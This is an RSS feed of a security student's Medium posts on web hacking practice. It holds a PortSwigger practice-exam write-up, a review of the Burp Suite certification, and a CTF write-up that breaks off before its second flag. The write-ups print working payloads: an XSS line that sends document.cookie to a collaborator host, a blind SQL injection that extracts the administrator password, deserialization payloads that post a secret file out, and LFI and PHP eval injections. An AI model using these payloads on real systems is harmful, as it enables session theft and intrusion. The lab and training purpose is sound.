<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ossama Yasser on Medium]]></title>
        <description><![CDATA[Stories by Ossama Yasser on Medium]]></description>
        <link>https://medium.com/@ossamayasserr?source=rss-cb77f210104------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*3fGUOiFsXIwoGgYwXIdimw.jpeg</url>
            <title>Stories by Ossama Yasser on Medium</title>
            <link>https://medium.com/@ossamayasserr?source=rss-cb77f210104------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 23:54:56 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ossamayasserr/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Practice Exam 2 WriteUp — PortSwigger Academy]]></title>
            <link>https://medium.com/@ossamayasserr/practice-exam-2-writeup-portswigger-academy-95096bb0b212?source=rss-cb77f210104------2</link>
            <guid isPermaLink="false">https://medium.com/p/95096bb0b212</guid>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[burpsuite]]></category>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Ossama Yasser]]></dc:creator>
            <pubDate>Thu, 02 Nov 2023 20:46:01 GMT</pubDate>
            <atom:updated>2023-11-02T20:46:01.834Z</atom:updated>
            <content:encoded><![CDATA[<h3>Practice Exam 2 WriteUp — PortSwigger Academy</h3><p>Hi, I’m <a href="https://www.linkedin.com/in/ossamayasserr/">Ossama Yasser</a>, and here is my write-up for the <a href="https://portswigger.net/web-security/certification/practice-exam">2nd Practice Exam</a> on PortSwigger Academy.</p><ul><li><em>If you’re interested, you can find my review for the </em><a href="https://medium.com/@ossamayasserr/how-to-crush-bscp-exam-in-75-mins-bscp-review-0b207a17e26d#6c06"><em>actual exam here</em></a><em>.</em></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rhdBN7iwy-OkCsIvBwm4_g.png" /></figure><h3>About the Exam</h3><p>It is an application<em>(Actual exam has 2 apps)</em> that contains 3 vulnerabilities, each vulnerability makes you step from one stage to the next.</p><ul><li><strong>Stage 1</strong>: Access any user account.</li><li><strong>Stage 2</strong>: Use the user account to access the admin interface, by elevating your privileges or compromising the administrator account.</li><li><strong>Stage 3</strong>: Use the admin interface to read the contents of /home/carlos/secret and submit it.</li></ul><blockquote><em>Can’t reach a stage without reaching the one before.</em></blockquote><p>For more details: <a href="https://portswigger.net/web-security/certification/how-it-works#what-the-exam-involves"><strong>What the Exam Involves</strong></a> by PortSwigger</p><h3>Start the Exam</h3><p>Run your Burp and go to the practice exam page <a href="https://portswigger.net/web-security/certification/practice-exam">here</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qbw6ivNGt-PM8bCvQvrPSQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FmTB0JNwDzaM6tFKyJrx_w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-peragVnIj2qitcLvSanpw.png" /></figure><p>Here we have only 1 application started, the status tells us that we haven’t reached the first stage yet.<br>At the bottom left, the time will appear once I open the app.</p><h3>Stage 1</h3><p>I opened the app link in my burp’s browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DlV6fHrFVQcQSv1JoKB1sg.png" /></figure><p>Opened all the links on the page even the below blog post to see if there is a comment functionality and all the available functions.</p><p>Tested the search function with the DOM Invader’s canary as I always did, and I got this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vYo2xk3i0sr38B0pMsdpZg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2XlJDROaXQ4Vu5qDlQN2Tg.png" /></figure><p>Here the DOM Invader found a sink for my input which is eval function,<br>I tried the automatic exploit but I got this response, and its payload was alert(1)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/1*etVqP0Z6OHpBf8GF3-FvMQ.png" /></figure><p>I moved to the request to Repeater to play with</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_TqanQChM8tTQmUmil9cIg.png" /></figure><p>after testing the parameter I found that it blocks any parentheses ( ) even one side of them.</p><p>Using the <a href="https://portswigger.net/web-security/cross-site-scripting/cheat-sheet">XSS Cheat Sheet</a> searching for a bypass, I found those</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mWM2AO9qhUyDZAsr7rIEzA.png" /></figure><p>This is in the <strong>Restricted characters </strong>part, so I tried and swapped the parentheses with backticks `</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HU6epIH751NKyHDwfWBVVw.png" /></figure><p>and I got a normal response but without a direct reflection.<br>I returned to the DOM Invader and find the place of my input being used.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UWuCadgKGR3VPBjOdOWg6g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ii6aiDatgc0jAWfWkfFjNw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E7uYihd277XTA7dY1FSsNA.png" /></figure><p>clicking this link moves you to this JS code where your input is used</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IyPTJdz2wfUS4nOtht78zQ.png" /></figure><p>it is in the green line, and after reading the code it appears to be inside the this.responseText <br>What does this function do?<br>I added a breakpoint to line 5, and saw the HTTP Burp History too,<br>In Burp History I found this request</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EKa0yoBZMrsph8EkvdPSRg.png" /></figure><p>this request is made by line 9 from the JS file, after reloading the page with the breakpoint added, I found this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-l25VKWw690zop7ZI8RwUw.png" /></figure><p>the response is concatenated with the var searchResultObj = then evaluated with eval function.</p><p>now I will craft the payload, Payload: DOMInvaderString00&quot;}; JS-code-here; //</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e90dJCJqss2GOQJwX_uTZg.png" /></figure><p>replacing JS-code-here with alert`1`</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EDOd8iLhPgLiDVmzsBpZrw.png" /></figure><p>got the payload working, now we need to make the payload exploit the victim, so I used: location=”https://BURP-COLLABORATOR-URL/?”+document.cookie</p><p><strong>Payload</strong>: <br>&quot;}; location=”https://BURP-COLLABORATOR-URL/?”+document.cookie; // <br><strong>URL-encoded Payload:</strong> <br>%22};%20location=%22https://BURP-COLLABORATOR-URL/?%22%2bdocument.cookie;%20//</p><blockquote>If the blocked character was . not () <br>Note: replace the bold text with its value.<br><strong>Payload</strong>:<br>“};location=atob(“<strong>base64(&#39;https://BURP-COLLAB-URL/?&#39;)</strong>”)+document[“cookie”]; //<br><strong>URL-encoded Payload</strong>:<br>%22%7d%3b%20location%3datob(%22<strong><em>base64(&#39;https://BURP-COLLAB-URL/?&#39;)</em></strong>%22)%2bdocument%5b%22cookie%22%5d%3b%20%2f%2f</blockquote><p>Tested myself and received my cookies, and now I delivered the payload to the victim using the exploit server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6fh-CXizv_BrmaapOCEQlQ.png" /></figure><p>and got the victim’s session cookie.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K6oMr_5oBUtYYtGREggWtQ.png" /></figure><p>added the cookie to my browser and now I’m <strong>Carlos </strong>👀</p><h3>Stage 2</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e2orrMGGDgnhV2TuGFXgXQ.png" /></figure><p>I opened all links again, nothing appeared new except the <em>Advanced Search</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-Vjquvcc4kK6MdjPwDsE8w.png" /></figure><p>I made a request and scanned all its parameters, and while I’m going to test the login functionality I got this in Burp</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RDJtu5RHr3c9U2RPvwgR_w.png" /></figure><p>the order the parameter may be vulnerable to SQL Injection, I moved to the Repeater to test it manually</p><p>found this in response</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WiRXMB-wouiFD0IJT612hQ.png" /></figure><blockquote>if you found that the vulnerable parameter is organize_by<br>The Solution will same as order parameter except that you will not use LIMIT in the beginning of the payload, because the parameter value will be reflected by default inside ORDER BY which takes an argument, but we used LIMIT with organize_by because DESC doesn’t take an argument.</blockquote><p>this lets me know the query in the backend<br><strong>Query</strong>: SELECT * FROM posts ORDER BY 4 [injection]</p><p>after some time of trying I found that I could use LIMIT 1 instead of DESC so that I can replace the 1 with a query that makes an error based on a condition<br>Using LIMIT 1 gives no error</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gJK8nY6b-kRp7peXfUepyA.png" /></figure><p>now instead of 1 I add a query<br>LIMIT (query-here)</p><p>Using <a href="https://portswigger.net/web-security/sql-injection/cheat-sheet">SQL Injection Cheat Sheet</a> by PortSwigger</p><p>I tested with wrong function names first, then tried functions of known DBMS to identify the DBMS used.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BxBS__lUOJfUBCBg7oFcVQ.png" /></figure><p>after I found that it was PostgreSQL because the error changed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cTEUB-60tcvjvIGc5XTl3g.png" /></figure><p>now I changed the payload to give an error based on the condition</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V_Mf1eCMPRQGBVNMDHluZA.png" /><figcaption>SQL Injection Cheat Sheet</figcaption></figure><p><strong>Payload</strong>: +(SELECT CASE WHEN (1=1) THEN 1/(SELECT 0) ELSE 1 END<strong> FROM users WHERE username=’administrator’</strong>) <br>this payload gives the LIMIT number 1 if the condition is false and gives it 1/0 if it is true, 1/0 gives an error (dividing any number by 0 gives an error)<br>Bold text, I have determined it based on what is said <a href="https://portswigger.net/web-security/certification/how-it-works#what-the-exam-involves"><strong>here</strong></a><strong> </strong>which says that the admin username is administrator and the table and column names are easily guessable.</p><p>Final Payload: LIMIT%20(SELECT%20CASE%20WHEN%20(substr(password%2c<strong>INDEX</strong>%2c1)%3d’<strong>CHARACTER</strong>’)%20THEN%201%2f(SELECT%200)%20ELSE%201%20END%20FROM%20users%20WHERE%20username%3d’administrator’)</p><p>Decoded: LIMIT (SELECT CASE WHEN (substr(password,<strong>INDEX</strong>,1)=’<strong>CHARACTER</strong>’) THEN 1/(SELECT 0) ELSE 1 END FROM users WHERE username=’administrator’)</p><p>now you need to use Burp Intruder, with these settings<br><em>Attack Type: Cluster Bomb<br>Mark the Bold text in the payload as a payload position<br>Payload List 1: Numbers from 1 to 30<br>Payload List 2: numbers 0–9 and letters a-z<br></em>This Lab is similar to this scenario → <a href="https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses">Lab</a></p><p>Started the attack and here is the administrator password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*55mmfS1O6GY3Dtu84oMwoA.png" /></figure><p>Logged In as administrator now 😎</p><h3>Stage 3</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UYdGq2rqn796C-81uSaBmg.png" /></figure><p>going to <strong>Admin Panel</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zIy8_oOCXseho8Ki64ogng.png" /></figure><p>but nothing interesting so I looked at the HTTP Proxy History</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lB9r-qFcHq8SCUZuh2ltxw.png" /></figure><p>Look what is here, looks like a serialized object that is encoded with base64<br>and searching for a relatively long time I found this <a href="https://mohit001.medium.com/an-intresting-insecure-deserialization-cb4befa86eb5">blog</a> that talks about this serialization, which revealed that it is a Java serialized object gzipped and then base64-encoded.<br>This <a href="https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-java-deserialization-with-apache-commons"><strong>Lab</strong></a> is somehow like this scenario, when I solved this lab I made a script that generates payloads of all types that ysoserialhave.<br>The <a href="https://github.com/ossamayasserr/ysoserial-all-payloads">Script</a></p><p>I ran the script and got all payloads, now moved to intruder with the admin page, marked the serialized object as the payload position and added the generated payloads to the payload list, and started the attack<br>The payloads are supposed to send a DNS lookup to my collab with the type used to generate the payload with ysoserial , and here they are</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SLF20plvyb8i-lvsozcfKA.png" /></figure><p>Several types have been worked, now edited the script to generate the payloads with a command that sends /home/carlos/secret in a POST request, and added the generated payloads to the intruder again, then started the attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L-ttMyPCq9G_X2ju2z-WbQ.png" /></figure><p>And finally, I got the flag 🤯</p><p>Thank You for Reading 💙</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=95096bb0b212" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Crush BSCP Exam in 75 Mins — BSCP Review]]></title>
            <link>https://medium.com/@ossamayasserr/how-to-crush-bscp-exam-in-75-mins-bscp-review-0b207a17e26d?source=rss-cb77f210104------2</link>
            <guid isPermaLink="false">https://medium.com/p/0b207a17e26d</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[burpsuite]]></category>
            <category><![CDATA[certification]]></category>
            <dc:creator><![CDATA[Ossama Yasser]]></dc:creator>
            <pubDate>Sun, 29 Oct 2023 11:53:57 GMT</pubDate>
            <atom:updated>2023-10-29T16:34:50.382Z</atom:updated>
            <content:encoded><![CDATA[<h3>How to Crush BSCP Exam in 75 Mins — BSCP Review</h3><p>Hi, I’m <a href="https://www.linkedin.com/in/ossamayasserr/"><strong>Ossama Yasser</strong></a><strong> </strong>and in this blog, I’m going to talk about my experience in the <strong>B</strong>urp <strong>S</strong>uite <strong>C</strong>ertified <strong>P</strong>ractitioner Exam that I finished in ONLY 75 Mins<em>[1H 15M]</em> out of 240 Mins[<em>4H]</em>, and how to get prepared well and pass it easily.</p><figure><img alt="https://portswigger.net/web-security/e/c/7E804EF9F2A9BEE7" src="https://cdn-images-1.medium.com/max/1024/1*8JsQBuYXUyGDHG5tPPCrJg.png" /><figcaption><a href="https://portswigger.net/web-security/e/c/7e804ef9f2a9bee7">My BSCP Certificate</a></figcaption></figure><h4>Table of Content</h4><p>∘ <a href="#723a">About Me</a><br> ∘ <a href="#4c57">About the Certificatation</a><br> ∘ <a href="#6c06">About the Exam</a><br>· <a href="#12f4"><strong>My Exam Journey</strong></a><br> ∘ <a href="#32f7">Previous Attempts</a><br> ∘ <a href="#2c83">Final Attempt</a><br> ∘ <a href="#428b">Time I took to prepare </a><br> ∘ <a href="#9103">My Thoughts</a><br>· <a href="#2250"><strong>Going to take the exam?</strong></a><br> ∘ <a href="#bbd0">Preparation To-dos</a><br> ∘ <a href="#cc61">Burp Scanner &amp; Scan Insertion Point</a><br> ∘ <a href="#0ff9">Labs not identified by Burp Scanner</a><br> ∘ <a href="#6c0a">Mystery Labs &amp; Getting Familiar with Cheat Sheets ( XSS &amp; SQLi )</a><br> ∘ <a href="#3341">Practice Exams</a><br> ∘ <a href="#32cd">Extensions I used</a><br> ∘ <a href="#0db4">Notes</a><br>· <a href="#0628"><strong>Resources</strong></a><br> ∘ <a href="#2de6">Awesome Resources</a><br>· <a href="#a94d"><strong>Contacts</strong></a></p><h4>About Me</h4><p>I’m Ossama Yasser, a Computer Engineering Student with a focus on Web Penetration Testing, I started learning about Cyber Security +2 years ago.<br>I learned and practiced a lot, especially on <a href="https://portswigger.net/web-security">PortSwigger Academy</a> and on other platforms as well. I’ve joined many CTFs through all that time and still joining CTFs from time to time.</p><blockquote>This is My 3rd Attempt But It is My First Certificate</blockquote><h4>About the Certificatation</h4><p>It’s a certification for web security professionals, from PortSwigger (the makers of <a href="https://portswigger.net/burp/pro">Burp Suite</a>).</p><h4>About the Exam</h4><p>It consists of two applications, each application contains 3 vulnerabilities, each vulnerability makes you step from one stage to the next.</p><ul><li><strong>Stage 1</strong>: Access any user account.</li><li><strong>Stage 2</strong>: Use the user account to access the admin interface, by elevating your privileges or compromising the administrator account.</li><li><strong>Stage 3</strong>: Use the admin interface to read the contents of /home/carlos/secret and submit it.</li></ul><blockquote>Can’t reach a stage without reaching the one before.</blockquote><p>For more details: <a href="https://portswigger.net/web-security/certification/how-it-works#what-the-exam-involves"><strong>What the Exam Involves</strong></a> by PortSwigger</p><h3>My Exam Journey</h3><h4>Previous Attempts</h4><p>I had 2 attempts before succeeding in this one, they were in Jan 2023 on the same day.</p><p><strong>Attempt 1<br>— App 1:</strong> Reached Stage 1/3 ✖<strong><br> — App 2:</strong> Reached Stage 2/3 ✖</p><p><strong>Attempt 2<br>— App 3:</strong> Reached Stage 3/3 ✔<strong><br> — App 4:</strong> Reached Stage 1/3 ✖</p><p>In these 2 attempts, I learned a lot, and helped me prepare well for the 3rd one.<br>Note: All the vulnerabilities I was stuck with are solved in this <a href="https://github.com/DingyShark/BurpSuiteCertifiedPractitioner">blog</a>.</p><p><strong>App 1 &amp; 4:</strong><br>I reached the same stage with those apps with the same vulnerability, It was the cookie that I had when the app started. when I got a user cookie with the same format I thought that it would not be useful because if it was useful I could reach the admin interface without getting to stage 1(Getting a User Session), so that made me not play with it when I reached the user session. That happens because I read that when you reach a new stage focus on new functionalities and I thought that meant even old stuff is not needed to be used with new functions, but sadly it was needed.</p><p><strong>App 2:<br></strong>Here I reached the admin panel and I needed to read the file /home/carlos/secret , I have only one new functionality that appeared, It was an endpoint that takes an image filename and its resolution I thought it had an LFI vulnerability and tested it with a lot of payloads and encoding techniques till the exam ended, but sadly the resolution parameter was the vulnerable parameter.</p><p><strong>App 3:</strong><br>the only completed app, this app I have finished smoothly in ~1 hour.<br>Its stages were XSS -&gt; SQL Injection -&gt; Command Injection.</p><h4>Final Attempt</h4><figure><img alt="Finished the first App in 39 minutes" src="https://cdn-images-1.medium.com/max/1024/1*pr2GcuQOsCrZxs7eAmakCg.png" /><figcaption><strong>Finished the first App in 39 minutes</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dU_o_182Dh7AGk68UVgQqw.png" /><figcaption><strong>Here I finished the exam in under 75 minutes</strong>, although the status says only 2 stages completed but it was 3.</figcaption></figure><h4>Time I took to prepare 📆</h4><p>Before preparing I had finished +90% of labs through a long time.<br>But when I started preparing this time I put <strong>20 days </strong>into preparing, through this time made a page with all of the Apprentice and Practitioner Labs and <strong>solved all these labs again</strong>, then <strong>reviewed the project files of the previous 2 attempts</strong> to see where I was stuck, then solved 60 mystery labs to improve my recon skills and identify vulnerabilities fast, then read the solution of all labs to remember the scenarios of labs, then I read some bookmarked blogs that provide tips and guiding through the exam and solved on practice exam of the 2 available, then finally started the exam.</p><p>Preparation time can determined only based on how many hours you are going to study and practice per week and your technical level and knowledge you have about the vulnerabilities on PortSwigger.</p><h4>My Thoughts</h4><p>This exam tests your knowledge of the vulnerabilities on PortSwigger Academy only, which are really good amount of knowledge.<br>From the Certification Name, it tests your proficiency with using Burp Suite Pro, especially the Burp Scanner to identify most of the vulnerabilities quickly, but leaves you to craft the exploit manually.</p><h3>Going to take the exam?</h3><h4><strong>Preparation To-dos</strong></h4><ol><li><strong>Complete every Apprentice and Practitioner lab</strong>.</li><li><strong><em>Review your project file from your previous exam attempt</em></strong><em> to see if you missed any clues.</em></li><li><strong>Solve 100 mystery labs at least</strong> from all available topics to develop your recon and discovery skills. (<em>PortSwigger recommended just 5 labs 👀</em>)</li><li><strong>Take a look at all labs’ solutions</strong></li><li><strong>Focus on the labs in the 2nd step </strong><a href="https://portswigger.net/web-security/certification/how-to-prepare"><strong>here</strong></a><strong> while doing the previous step.</strong></li><li><strong>Read the Bookmarked Blogs</strong> (Mentioned Below In <em>Awesome Resources</em>)</li><li><strong>Read the </strong><a href="https://portswigger.net/web-security/certification/exam-hints-and-guidance"><strong>exam hints and tips</strong></a><strong>.</strong></li><li><strong>Complete the available </strong><a href="https://portswigger.net/web-security/certification/practice-exam"><strong>practice exams</strong></a> to familiarize yourself with the exam format and put what you study to the test.</li><li><strong>Re-read the </strong><a href="https://portswigger.net/web-security/certification/exam-hints-and-guidance"><strong>exam hints and tips</strong></a><strong>.</strong></li><li><strong>START THE EXAM 🔥</strong></li></ol><blockquote>Use Coming Tips in The Exam and <strong>Preparation</strong> also.</blockquote><h4><strong>Burp Scanner &amp; Scan Insertion Point</strong></h4><p>You must learn how to use the <em>Scan Insertion Point </em>and the <a href="https://portswigger.net/burp/documentation/scanner"><em>Active Scan</em></a> (Burp Scanner)</p><ul><li><a href="https://portswigger.net/web-security/essential-skills/using-burp-scanner-during-manual-testing">Using Burp Scanner During Manual Testing</a></li><li><a href="https://portswigger.net/bappstore/ca7ee4e746b54514a0ca5059329e926f">Scan manual insertion point</a> — a Burp Extension makes you scan the insertion point without sending the request to the Intruder</li><li><a href="https://portswigger.net/burp/documentation/scanner">How Burp Scanner works</a></li></ul><h4>Labs not identified by Burp Scanner</h4><p>Many labs can’t be identified with Burp Scanner, Mark them with a highlighter or keep them in a note, so in the exam, if you are stuck, you start testing by those lab scenarios.</p><h4>Mystery Labs &amp; Getting Familiar with Cheat Sheets ( XSS &amp; SQLi )</h4><ul><li>While solving mystery labs give yourself time, don’t hurry to see the solution, and don’t take a lot of time struggling.</li><li>15 minutes maximum is suitable for identifying the vulnerability and another 15 minutes for the exploitation.</li><li>Get yourself familiar with XSS and SQLi Cheat Sheets provided by PortSwigger — Use them when you solve mystery labs.</li></ul><h4>Practice Exams</h4><p>2 Practice exams are available, TRY to solve these labs yourself completely with no help at all ( watching walkthroughs ), they will give you the confidence you need to start the exam if you are prepared well.</p><h4>Extensions I used</h4><ul><li><strong>Active Scan++</strong><br>Improves the Burp Scanner capabilities.</li><li><strong>Hackvertor<br></strong>Best extension for encoding text on the go with many encodings.</li><li><strong>Param Miner<br></strong>Identify hidden parameters and headers, useful for Web Cache Poisoning.</li><li><strong>Collaborator Everywhere<br></strong>Add headers to <strong>in-scope proxy traffic</strong> that reveal backend systems making them ping your collaborator.</li><li><strong>HTTP Request Smuggler<br></strong>Scanner for Request Smuggling Vulnerability.<strong><br></strong>Notes:<strong><br>- </strong>May have false positives.<br>- Burp Scanner Identify All the types except the HTTP/2 Labs and CL.0, but they are identifiable by this Extension.<br>- Don’t Send requests to the target while being scanned by the extension.<br>- CL.0 is based on the endpoint, not the server, so you must test all endpoints for CL.0 exactly.</li><li><strong>Scan manual insertion point<br></strong>Makes you scan the insertion point without the need to send the request to the Intruder.</li><li><strong>JWT Editor<br></strong>Edit the JWT easily, and do most of the JWT attacks quickly inside the Burp.</li><li><strong>InQL - GraphQL Scanner<br></strong>Takes GraphQL endpoint, runs some scans, and provides the API schema.</li><li><strong>Content Type Converter<br></strong>Convert body format between XML and JSON.</li><li><strong>Server-Side Prototype Pollution Scanner<br></strong>Quickly Identify Server-Side Prototype Pollution.</li><li><strong>DOM Invader<br></strong>Browser Extension made by PortSwigger that helps you identify DOM-based Vulnerabilities and sometimes exploit them automatically.<br>Note: It works in the Burp’s Built-in Browser only.</li></ul><h4>Notes</h4><ul><li>The functions and data you have in the current stage of the exam may be needed in the next stage, the new functions that will appear may depend on or need data from the previous stage.</li><li>You will upload the Burp Project File you used for the exam after finishing the exam, and the exam will end automatically once you submit the Solution Flag of the 2 Apps.</li></ul><h3>Resources</h3><ul><li>PortSwigger Guiding Links<br>- <a href="https://portswigger.net/web-security/certification/exam-hints-and-guidance/retaking-your-exam">Hints for exam retakers</a><br>- <a href="https://portswigger.net/web-security/certification/exam-hints-and-guidance">Hints</a><br>- <a href="https://portswigger.net/web-security/certification/how-to-prepare">How to Prepare</a><br>- <a href="https://portswigger.net/web-security/certification/how-it-works">How it works</a></li><li><a href="https://github.com/ossamayasserr/BSCP-Notes">My Notes</a></li><li><a href="https://micahvandeusen.com/burp-suite-certified-practitioner-exam-review/">micahvandeusen — BSCP Exam Review</a></li><li><a href="https://github.com/ossamayasserr/PortSwigger-Labs-in-1-Page">Generate 1 Page with all labs</a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/475/1*jO2mAf-Y9x-XniF5_Y1_ug.png" /><figcaption>Page with All Labs included.</figcaption></figure><h4>Awesome Resources 👓</h4><ul><li><a href="https://github.com/DingyShark/BurpSuiteCertifiedPractitioner">DingyShark — BurpSuiteCertifiedPractitioner</a> — ⭐<br>Repo categorized the vulnerabilities into the 3 stages of the exam and has many scenarios from real exams not only the labs of PorSwigger.</li><li><a href="https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study">botesjuan — Burp-Suite-Certified-Practitioner-Exam-Study</a> — ⭐<br>Vulnerabilities are categorized into the 3 stages of the exam<br>It has some exam scenarios but less than the previous one, it also has a good wordlist for directory fuzzing.</li></ul><h3>Contacts</h3><p>Please, don’t hesitate to message me with any questions.</p><ul><li><a href="https://www.linkedin.com/in/ossamayasserr/">LinkedIn</a></li><li><a href="https://twitter.com/ossamayasserr">Twitter</a></li><li><a href="https://t.me/ossamayasserr">Telegram</a></li></ul><p><strong>Thank You for Reading 💙</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0b207a17e26d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Web Challenges Writeup — ASCWG CTF 2023]]></title>
            <link>https://medium.com/@ossamayasserr/web-challenges-writeup-ascwg-ctf-2023-f331c4dbe73d?source=rss-cb77f210104------2</link>
            <guid isPermaLink="false">https://medium.com/p/f331c4dbe73d</guid>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[web-pen-testing]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Ossama Yasser]]></dc:creator>
            <pubDate>Tue, 08 Aug 2023 04:40:59 GMT</pubDate>
            <atom:updated>2023-08-08T07:10:19.131Z</atom:updated>
            <content:encoded><![CDATA[<h3>Web Challenges Writeup — ASCWG CTF 2023</h3><p>Hello guys, This is our writeup for 5(from 7) Web Challenges in ASCWG<br>By <strong>Br00tf0rs3rs </strong>Team, hope you enjoy reading the writeup.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*ha_EMVJP2ZRqcjykyJhVbA.jpeg" /></figure><p>Let’s start</p><blockquote>Challenge Name: N1<br>Score: 200 Points<br>Level: Easy<br>Description: Search deep inside to get the flag, There is no need to brute forcing</blockquote><h3>Solution</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*5mPwOM_ozR0ZgCiOdqLxcg.jpeg" /></figure><p>First, we did a source code review but there is nothing useful, then checked out the <em>robots.txt</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*qWBGzAHPM5U-AzqC0nCKZA.png" /></figure><p>We visited that URL <em>/tmp/ASCWG/flag.txt</em> but got 404 Not found<em><br></em>Now we tried brute-forcing the GET parameters with Burp Intruder and this <a href="https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/burp-parameter-names.txt">Wordlist</a> and found a parameter called<em> url</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7qZGBs5IJ_nIiUBMGqm4Jg.png" /></figure><p>we tried a lot of File Inclusion payloads but nothing worked, then tried to play with the encoding and it succeeded with double encoding the path <em>/tmp/ASCWG/flag.txt to </em>%25%32%66<em>tmp</em>%25%32%66<em>ASCWG</em>%25%32%66<em>flag.txt<br>and that’s it.</em></p><p>Flag: ASCWG{Lf1_V3rY_EssssY_AND_Plz_B3_P@ti3nt}</p><blockquote>Challenge Name: Iniectio<br>Score: 300 Points<br>Level: Easy</blockquote><h3>Solution</h3><p>First from the Homepage we expected that there is a parameter called <em>name</em> and after adding it, it reflected its value in the page.<br>We tried SQL Injection with double quotes “</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KTxypW1Gatn3Fi7ip_MAIg.png" /></figure><p>and now we knew that it is Command Injection with eval()</p><p>we tried some payloads like this and many more</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a1ps3MO7BhrpjlfGl8Xybg.png" /></figure><p>and it appears that it filters most useful PHP Functions, so we brute forced it with all PHP Builtin Functions and found the function copy() not filtered.</p><p>The Payload: “.copy(‘flag.php’,’a.html’).”</p><p>the double quotes are closing the quotes of the eval(“<em>“.copy(‘flag.php’,’a.html’).”</em>”) <br>the dot <em>.</em> is to concatenate the first string with the function copy() with the last string<br>String: what in the double quotes which is nothing(empty)<br>flag.php: we knew that it exist by directory bruteforce</p><p>finally the payload copies the flag.php content to a.html, and after visiting a.html it we got the flag.</p><p>Flag: 